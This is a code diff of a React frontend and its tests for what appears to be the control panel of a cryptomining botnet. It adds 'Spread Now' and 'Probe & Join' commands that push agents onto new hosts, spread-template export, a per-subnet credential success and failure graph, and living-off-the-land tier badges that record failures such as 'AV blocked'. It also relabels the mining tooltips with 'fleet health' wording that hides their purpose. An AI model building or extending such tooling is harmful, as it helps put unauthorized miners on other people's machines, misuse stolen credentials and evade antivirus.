|
||||
|
||||
vi.mock('./SpreadTemplateExportPanel', () => ({
|
||||
default: () => <div data-testid="spread-template-export" />,
|
||||
}));
|
||||
|
||||
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||
@@ -190,6 +202,20 @@ describe('CrucibleExpandedOps', () => {
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
|
||||
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
|
||||
expect(screen.getByTestId('credential-graph-table')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('dispatches discover_and_join from Probe & Join button', async () => {
|
||||
const user = userEvent.setup();
|
||||
const onEcho = vi.fn();
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread', onEcho })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: 'Probe & Join' }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'discover_and_join', {});
|
||||
});
|
||||
expect(onEcho).toHaveBeenCalledWith('discover_and_join → 1 node(s)', true);
|
||||
});
|
||||
|
||||
it('shows SSH probe controls on tunnels tab', async () => {
|
||||
|
||||
@@ -11,10 +11,14 @@ import {
|
||||
} from '../../help/crucibleOps';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
||||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
import FileManager from './FileManager';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import ServiceGraphSummary from './ServiceGraphSummary';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
interface FmCommandResult {
|
||||
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
|
||||
return (
|
||||
<div className={panelClass}>
|
||||
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
|
||||
{singleSelectedAgent?.lotl_tier && (
|
||||
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
|
||||
<LotlTierBadge
|
||||
tier={singleSelectedAgent.lotl_tier}
|
||||
attempts={singleSelectedAgent.lotl_attempts}
|
||||
variant="inline"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="Resume hashing on selected online nodes"
|
||||
title="Fleet health: restore hashing workload on selected online nodes"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||||
}}
|
||||
>
|
||||
Resume
|
||||
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="Pause hashing without disconnecting the agent"
|
||||
title="Fleet health: power down hashing without disconnecting the agent"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||||
}}
|
||||
>
|
||||
Pause
|
||||
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
|
||||
Credential Names
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn btn-cyan"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="Service discovery → server deploy plan → matching LOTL join lane"
|
||||
onClick={() => bulkDispatch('discover_and_join')}
|
||||
>
|
||||
Probe & Join
|
||||
</button>
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
|
||||
<CredentialGraphTable />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
|
||||
<ServiceGraphSummary
|
||||
agentId={singleSelectedAgent?.id}
|
||||
agentIp={singleSelectedAgent?.ip}
|
||||
/>
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
|
||||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||||
|
||||
@@ -119,8 +119,8 @@ export default function FleetToolbar({
|
||||
Screenshot
|
||||
</button>
|
||||
)}
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button
|
||||
|
||||
21
server/web/src/components/Fleet/JoinLaneBadge.tsx
Normal file
21
server/web/src/components/Fleet/JoinLaneBadge.tsx
Normal file
@@ -0,0 +1,21 @@
|
||||
import { joinLaneLabel } from '../../help/reconRisk';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
lane?: string;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function JoinLaneBadge({ lane, className = '' }: Props) {
|
||||
const label = joinLaneLabel(lane);
|
||||
if (!label) return null;
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`join-lane-badge ${className}`.trim()}
|
||||
title={`Deploy join lane: ${label}`}
|
||||
>
|
||||
{label}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
58
server/web/src/components/Fleet/LotlAttemptsList.tsx
Normal file
58
server/web/src/components/Fleet/LotlAttemptsList.tsx
Normal file
@@ -0,0 +1,58 @@
|
||||
import type { TierAttempt } from '../../types/lotl';
|
||||
import { formatDurationMs, formatLotlTierLabel } from '../../types/lotl';
|
||||
import './LotlVisuals.css';
|
||||
|
||||
interface Props {
|
||||
attempts: TierAttempt[];
|
||||
activeTier?: string;
|
||||
miningHashrate?: number;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function LotlAttemptsList({
|
||||
attempts,
|
||||
activeTier,
|
||||
miningHashrate,
|
||||
className = '',
|
||||
}: Props) {
|
||||
if (attempts.length === 0 && miningHashrate === undefined) {
|
||||
return (
|
||||
<div className={`lotl-attempts-block ${className}`.trim()}>
|
||||
<div className="lotl-attempts-title">LOTL TIER CHAIN</div>
|
||||
<div className="lotl-attempts-empty">No tier attempts in this report</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={`lotl-attempts-block ${className}`.trim()}>
|
||||
<div className="lotl-attempts-title">
|
||||
LOTL TIER CHAIN
|
||||
{activeTier && (
|
||||
<span style={{ marginLeft: '0.5rem', color: 'var(--text-muted)', fontWeight: 400 }}>
|
||||
→ {formatLotlTierLabel(activeTier)}
|
||||
</span>
|
||||
)}
|
||||
{miningHashrate !== undefined && (
|
||||
<span style={{ marginLeft: '0.5rem', color: 'var(--neon-green)', fontWeight: 600 }}>
|
||||
{Math.round(miningHashrate)} H/s
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
{attempts.length === 0 ? (
|
||||
<div className="lotl-attempts-empty">No attempt history</div>
|
||||
) : (
|
||||
<ul className="lotl-attempts-list">
|
||||
{attempts.map((a, i) => (
|
||||
<li key={`${a.tier}-${i}`} className="lotl-attempt-row">
|
||||
<span className={`lotl-attempt-icon ${a.ok ? 'ok' : 'fail'}`}>{a.ok ? '✓' : '✗'}</span>
|
||||
<span className="lotl-attempt-tier">{formatLotlTierLabel(a.tier)}</span>
|
||||
<span className="lotl-attempt-dur">{formatDurationMs(a.duration_ms)}</span>
|
||||
{!a.ok && a.error && <span className="lotl-attempt-err">{a.error}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
67
server/web/src/components/Fleet/LotlTierBadge.test.tsx
Normal file
67
server/web/src/components/Fleet/LotlTierBadge.test.tsx
Normal file
@@ -0,0 +1,67 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import LotlAttemptsList from './LotlAttemptsList';
|
||||
import { formatDurationMs, formatLotlTierLabel, parseTierAttempts } from '../../types/lotl';
|
||||
|
||||
describe('LOTL tier visuals', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders compact tier badge with friendly label', () => {
|
||||
render(<LotlTierBadge tier="inprocess" />);
|
||||
expect(screen.getByText('LOTL In-Process')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows fail styling when active tier last attempt failed', () => {
|
||||
const { container } = render(
|
||||
<LotlTierBadge
|
||||
tier="container"
|
||||
attempts={[
|
||||
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 1200 },
|
||||
{ tier: 'container', ok: false, error: 'AV blocked', duration_ms: 800 },
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
expect(container.querySelector('.lotl-fail')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('lists tier attempts with success/fail and duration', () => {
|
||||
render(
|
||||
<LotlAttemptsList
|
||||
activeTier="inprocess"
|
||||
miningHashrate={420}
|
||||
attempts={[
|
||||
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 500 },
|
||||
{ tier: 'inprocess', ok: true, duration_ms: 2100 },
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
|
||||
expect(screen.getByText('Container')).toBeInTheDocument();
|
||||
expect(screen.getByText('In-Process')).toBeInTheDocument();
|
||||
expect(screen.getByText('docker missing')).toBeInTheDocument();
|
||||
expect(screen.getByText('500ms')).toBeInTheDocument();
|
||||
expect(screen.getByText('2.1s')).toBeInTheDocument();
|
||||
expect(screen.getByText(/420 H\/s/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('parseTierAttempts normalizes API rows', () => {
|
||||
const attempts = parseTierAttempts([
|
||||
{ tier: 'gpu', ok: true, duration_ms: 3000 },
|
||||
{ tier: 'wsl', ok: false, error: 'offline' },
|
||||
{ bad: true },
|
||||
]);
|
||||
expect(attempts).toHaveLength(2);
|
||||
expect(attempts[0].tier).toBe('gpu');
|
||||
expect(attempts[1].error).toBe('offline');
|
||||
});
|
||||
|
||||
it('formatLotlTierLabel and formatDurationMs helpers', () => {
|
||||
expect(formatLotlTierLabel('ps_memory')).toBe('PS Memory');
|
||||
expect(formatDurationMs(450)).toBe('450ms');
|
||||
expect(formatDurationMs(1500)).toBe('1.5s');
|
||||
});
|
||||
});
|
||||
31
server/web/src/components/Fleet/LotlTierBadge.tsx
Normal file
31
server/web/src/components/Fleet/LotlTierBadge.tsx
Normal file
@@ -0,0 +1,31 @@
|
||||
import type { TierAttempt } from '../../types/lotl';
|
||||
import { formatLotlTierLabel, lotlAttemptsTooltip } from '../../types/lotl';
|
||||
import './LotlVisuals.css';
|
||||
|
||||
interface Props {
|
||||
tier?: string;
|
||||
attempts?: TierAttempt[];
|
||||
/** Use card chip styling (cn-lotl) vs inline header badge */
|
||||
variant?: 'card' | 'inline';
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function LotlTierBadge({ tier, attempts, variant = 'card', className = '' }: Props) {
|
||||
if (!tier?.trim()) return null;
|
||||
|
||||
const failed = attempts?.some((a) => a.tier === tier && !a.ok);
|
||||
const stateCls = failed ? 'lotl-fail' : tier ? 'lotl-active' : 'lotl-idle';
|
||||
const base = variant === 'card' ? 'cn-lotl' : 'lotl-tier-badge';
|
||||
const title = attempts?.length
|
||||
? `Active LOTL tier: ${formatLotlTierLabel(tier)}\n${lotlAttemptsTooltip(attempts)}`
|
||||
: `Active LOTL tier: ${formatLotlTierLabel(tier)}`;
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`${base} lotl-tier-badge--${failed ? 'fail' : 'active'} ${stateCls} ${className}`.trim()}
|
||||
title={title}
|
||||
>
|
||||
LOTL {formatLotlTierLabel(tier)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
144
server/web/src/components/Fleet/LotlVisuals.css
Normal file
144
server/web/src/components/Fleet/LotlVisuals.css
Normal file
@@ -0,0 +1,144 @@
|
||||
/* Compact LOTL tier badge — agent cards, headers, remote actions */
|
||||
.lotl-tier-badge,
|
||||
.cn-lotl {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.cn-lotl {
|
||||
align-self: flex-start;
|
||||
}
|
||||
|
||||
.lotl-tier-badge--active,
|
||||
.cn-lotl.lotl-active {
|
||||
color: var(--neon-cyan);
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
border: 1px solid rgba(0, 245, 255, 0.28);
|
||||
}
|
||||
|
||||
.lotl-tier-badge--fail,
|
||||
.cn-lotl.lotl-fail {
|
||||
color: #ff8866;
|
||||
background: rgba(255, 100, 0, 0.12);
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.lotl-tier-badge--idle,
|
||||
.cn-lotl.lotl-idle {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.06);
|
||||
}
|
||||
|
||||
/* Vulnerability risk chip — Crucible / fleet cards (authorized recon only) */
|
||||
.vuln-risk-badge,
|
||||
.cn-vuln-risk {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.vuln-risk-high {
|
||||
color: #ff6688;
|
||||
background: rgba(255, 60, 90, 0.14);
|
||||
border: 1px solid rgba(255, 80, 110, 0.4);
|
||||
}
|
||||
|
||||
.vuln-risk-med {
|
||||
color: #ffaa44;
|
||||
background: rgba(255, 140, 0, 0.12);
|
||||
border: 1px solid rgba(255, 170, 68, 0.35);
|
||||
}
|
||||
|
||||
.vuln-risk-low {
|
||||
color: #88ccff;
|
||||
background: rgba(80, 160, 255, 0.1);
|
||||
border: 1px solid rgba(100, 180, 255, 0.3);
|
||||
}
|
||||
|
||||
.vuln-risk-clear {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
}
|
||||
|
||||
/* Tier attempt list — reuses Crucible rich-terminal palette */
|
||||
.lotl-attempts-block {
|
||||
margin: 0.35rem 0 0.5rem;
|
||||
padding: 0.45rem 0.65rem;
|
||||
border-left: 2px solid rgba(0, 245, 255, 0.35);
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border-radius: 0 4px 4px 0;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.74rem;
|
||||
max-width: 720px;
|
||||
}
|
||||
|
||||
.lotl-attempts-title {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1em;
|
||||
font-size: 0.7rem;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.lotl-attempts-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
.lotl-attempt-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: baseline;
|
||||
gap: 0.35rem 0.5rem;
|
||||
padding: 0.15rem 0;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.lotl-attempt-row:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.lotl-attempt-icon {
|
||||
width: 1rem;
|
||||
flex-shrink: 0;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.lotl-attempt-icon.ok { color: var(--neon-green); }
|
||||
.lotl-attempt-icon.fail { color: #ff6666; }
|
||||
|
||||
.lotl-attempt-tier {
|
||||
font-weight: 600;
|
||||
color: #e8e8e8;
|
||||
min-width: 5.5rem;
|
||||
}
|
||||
|
||||
.lotl-attempt-dur {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.lotl-attempt-err {
|
||||
color: #ffaa88;
|
||||
font-size: 0.68rem;
|
||||
flex: 1 1 100%;
|
||||
padding-left: 1.35rem;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.lotl-attempts-empty {
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
66
server/web/src/components/Fleet/ReconBadges.test.tsx
Normal file
66
server/web/src/components/Fleet/ReconBadges.test.tsx
Normal file
@@ -0,0 +1,66 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import RiskBadge from './RiskBadge';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
getCredentialGraph: vi.fn(),
|
||||
getServiceGraph: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
describe('Recon badges', () => {
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it('RiskBadge renders critical chip from vuln_findings', () => {
|
||||
render(
|
||||
<RiskBadge
|
||||
findings={[{ cve_id: 'CVE-2021-44228', severity: 'critical', patched: false }]}
|
||||
/>,
|
||||
);
|
||||
expect(screen.getByText('RISK CRIT')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('RiskBadge renders nothing when findings are patched', () => {
|
||||
const { container } = render(
|
||||
<RiskBadge findings={[{ cve_id: 'CVE-1', severity: 'high', patched: true }]} />,
|
||||
);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders lane label', () => {
|
||||
render(<JoinLaneBadge lane="docker" />);
|
||||
expect(screen.getByText('Docker')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('CredentialGraphTable shows subnet rows from API', async () => {
|
||||
vi.mocked(api.getCredentialGraph).mockResolvedValue({
|
||||
subnets: [
|
||||
{ subnet: '10.0.1.x', edges: 5, success_count: 3, fail_count: 2 },
|
||||
],
|
||||
});
|
||||
render(<CredentialGraphTable />);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('10.0.1.x')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('5')).toBeInTheDocument();
|
||||
expect(screen.getByText('3')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('CredentialGraphTable shows unavailable message on 404', async () => {
|
||||
vi.mocked(api.getCredentialGraph).mockResolvedValue(null);
|
||||
render(<CredentialGraphTable />);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/not available yet/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
108
server/web/src/components/Fleet/ReconVisuals.css
Normal file
108
server/web/src/components/Fleet/ReconVisuals.css
Normal file
@@ -0,0 +1,108 @@
|
||||
/* Fleet recon badges — mirrors LOTL chip tokens */
|
||||
.risk-badge,
|
||||
.cn-risk,
|
||||
.join-lane-badge,
|
||||
.war-room-join-lane-badge {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.cn-risk {
|
||||
align-self: flex-start;
|
||||
}
|
||||
|
||||
.risk-badge--critical,
|
||||
.cn-risk.risk-critical {
|
||||
color: #ff4466;
|
||||
background: rgba(255, 50, 80, 0.14);
|
||||
border: 1px solid rgba(255, 68, 102, 0.4);
|
||||
}
|
||||
|
||||
.risk-badge--high,
|
||||
.cn-risk.risk-high {
|
||||
color: #ff8866;
|
||||
background: rgba(255, 120, 40, 0.12);
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.risk-badge--medium,
|
||||
.cn-risk.risk-medium {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
background: rgba(255, 180, 60, 0.1);
|
||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||
}
|
||||
|
||||
.risk-badge--low,
|
||||
.cn-risk.risk-low {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.06);
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
}
|
||||
|
||||
.join-lane-badge,
|
||||
.war-room-join-lane-badge {
|
||||
color: var(--neon-violet, #b388ff);
|
||||
background: rgba(160, 100, 255, 0.12);
|
||||
border: 1px solid rgba(160, 100, 255, 0.28);
|
||||
}
|
||||
|
||||
.recon-graph-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.74rem;
|
||||
}
|
||||
|
||||
.recon-graph-table th,
|
||||
.recon-graph-table td {
|
||||
padding: 0.35rem 0.5rem;
|
||||
text-align: left;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.recon-graph-table th {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.08em;
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.recon-graph-empty {
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-muted);
|
||||
margin: 0.25rem 0;
|
||||
}
|
||||
|
||||
.recon-service-summary {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.74rem;
|
||||
}
|
||||
|
||||
.recon-service-list {
|
||||
list-style: none;
|
||||
margin: 0.35rem 0 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.25rem;
|
||||
}
|
||||
|
||||
.recon-service-item {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.recon-service-name {
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.recon-service-meta {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
25
server/web/src/components/Fleet/RiskBadge.tsx
Normal file
25
server/web/src/components/Fleet/RiskBadge.tsx
Normal file
@@ -0,0 +1,25 @@
|
||||
import { riskFromVulnFindings } from '../../help/reconRisk';
|
||||
import type { VulnFinding } from '../../types/recon';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
findings?: VulnFinding[];
|
||||
variant?: 'card' | 'inline';
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function RiskBadge({ findings, variant = 'card', className = '' }: Props) {
|
||||
const info = riskFromVulnFindings(findings);
|
||||
if (!info) return null;
|
||||
|
||||
const base = variant === 'card' ? 'cn-risk' : 'risk-badge';
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`${base} risk-badge--${info.level} risk-${info.level} ${className}`.trim()}
|
||||
title={info.title}
|
||||
>
|
||||
{info.label}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
118
server/web/src/components/Fleet/ServiceGraphSummary.tsx
Normal file
118
server/web/src/components/Fleet/ServiceGraphSummary.tsx
Normal file
@@ -0,0 +1,118 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { ipToSubnet } from '../../help/reconRisk';
|
||||
import type { ServiceGraphNode } from '../../types/recon';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
agentId?: string;
|
||||
agentIp?: string;
|
||||
}
|
||||
|
||||
export default function ServiceGraphSummary({ agentId, agentIp }: Props) {
|
||||
const subnet = ipToSubnet(agentIp);
|
||||
const [services, setServices] = useState<ServiceGraphNode[] | null>(null);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const [unavailable, setUnavailable] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
if (!agentId && !subnet) {
|
||||
setServices(null);
|
||||
setUnavailable(false);
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
setLoading(true);
|
||||
void api
|
||||
.getServiceGraph({ agentId, subnet })
|
||||
.then((data) => {
|
||||
if (cancelled) return;
|
||||
if (!data) {
|
||||
setUnavailable(true);
|
||||
setServices([]);
|
||||
return;
|
||||
}
|
||||
setServices(data.services ?? []);
|
||||
setUnavailable(false);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) {
|
||||
setUnavailable(true);
|
||||
setServices([]);
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [agentId, subnet]);
|
||||
|
||||
if (!agentId && !subnet) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
Select one agent to view service graph for its subnet.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
if (loading) {
|
||||
return <p className="recon-graph-empty">Loading service graph…</p>;
|
||||
}
|
||||
|
||||
if (unavailable) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
Service graph API not available — run discover_and_join or service probe on this host.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
if (!services?.length) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
No enumerated services for {subnet || 'selected host'}.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
const lanes = new Set(
|
||||
services.map((s) => s.join_lane_candidate?.trim()).filter(Boolean) as string[],
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="recon-service-summary">
|
||||
<div className="recon-service-meta">
|
||||
{subnet ? <span>{subnet}</span> : null}
|
||||
{agentId ? <span>{subnet ? ' · ' : ''}{agentId.slice(0, 8)}</span> : null}
|
||||
<span> · {services.length} service(s)</span>
|
||||
</div>
|
||||
{lanes.size > 0 ? (
|
||||
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.35rem' }}>
|
||||
{[...lanes].map((lane) => (
|
||||
<JoinLaneBadge key={lane} lane={lane} />
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
<ul className="recon-service-list">
|
||||
{services.slice(0, 12).map((s, i) => (
|
||||
<li key={`${s.service_name}-${i}`} className="recon-service-item">
|
||||
<span className="recon-service-name">{s.service_name}</span>
|
||||
{s.port ? <span className="recon-service-meta">:{s.port}</span> : null}
|
||||
{s.status ? <span className="recon-service-meta">{s.status}</span> : null}
|
||||
{s.join_lane_candidate ? (
|
||||
<JoinLaneBadge lane={s.join_lane_candidate} />
|
||||
) : null}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
{services.length > 12 ? (
|
||||
<p className="recon-graph-empty">+{services.length - 12} more</p>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
import { useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { SPREAD_TEMPLATES, spreadTemplateZipName, type SpreadTemplateId } from '../../help/spreadTemplateExport';
|
||||
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
|
||||
|
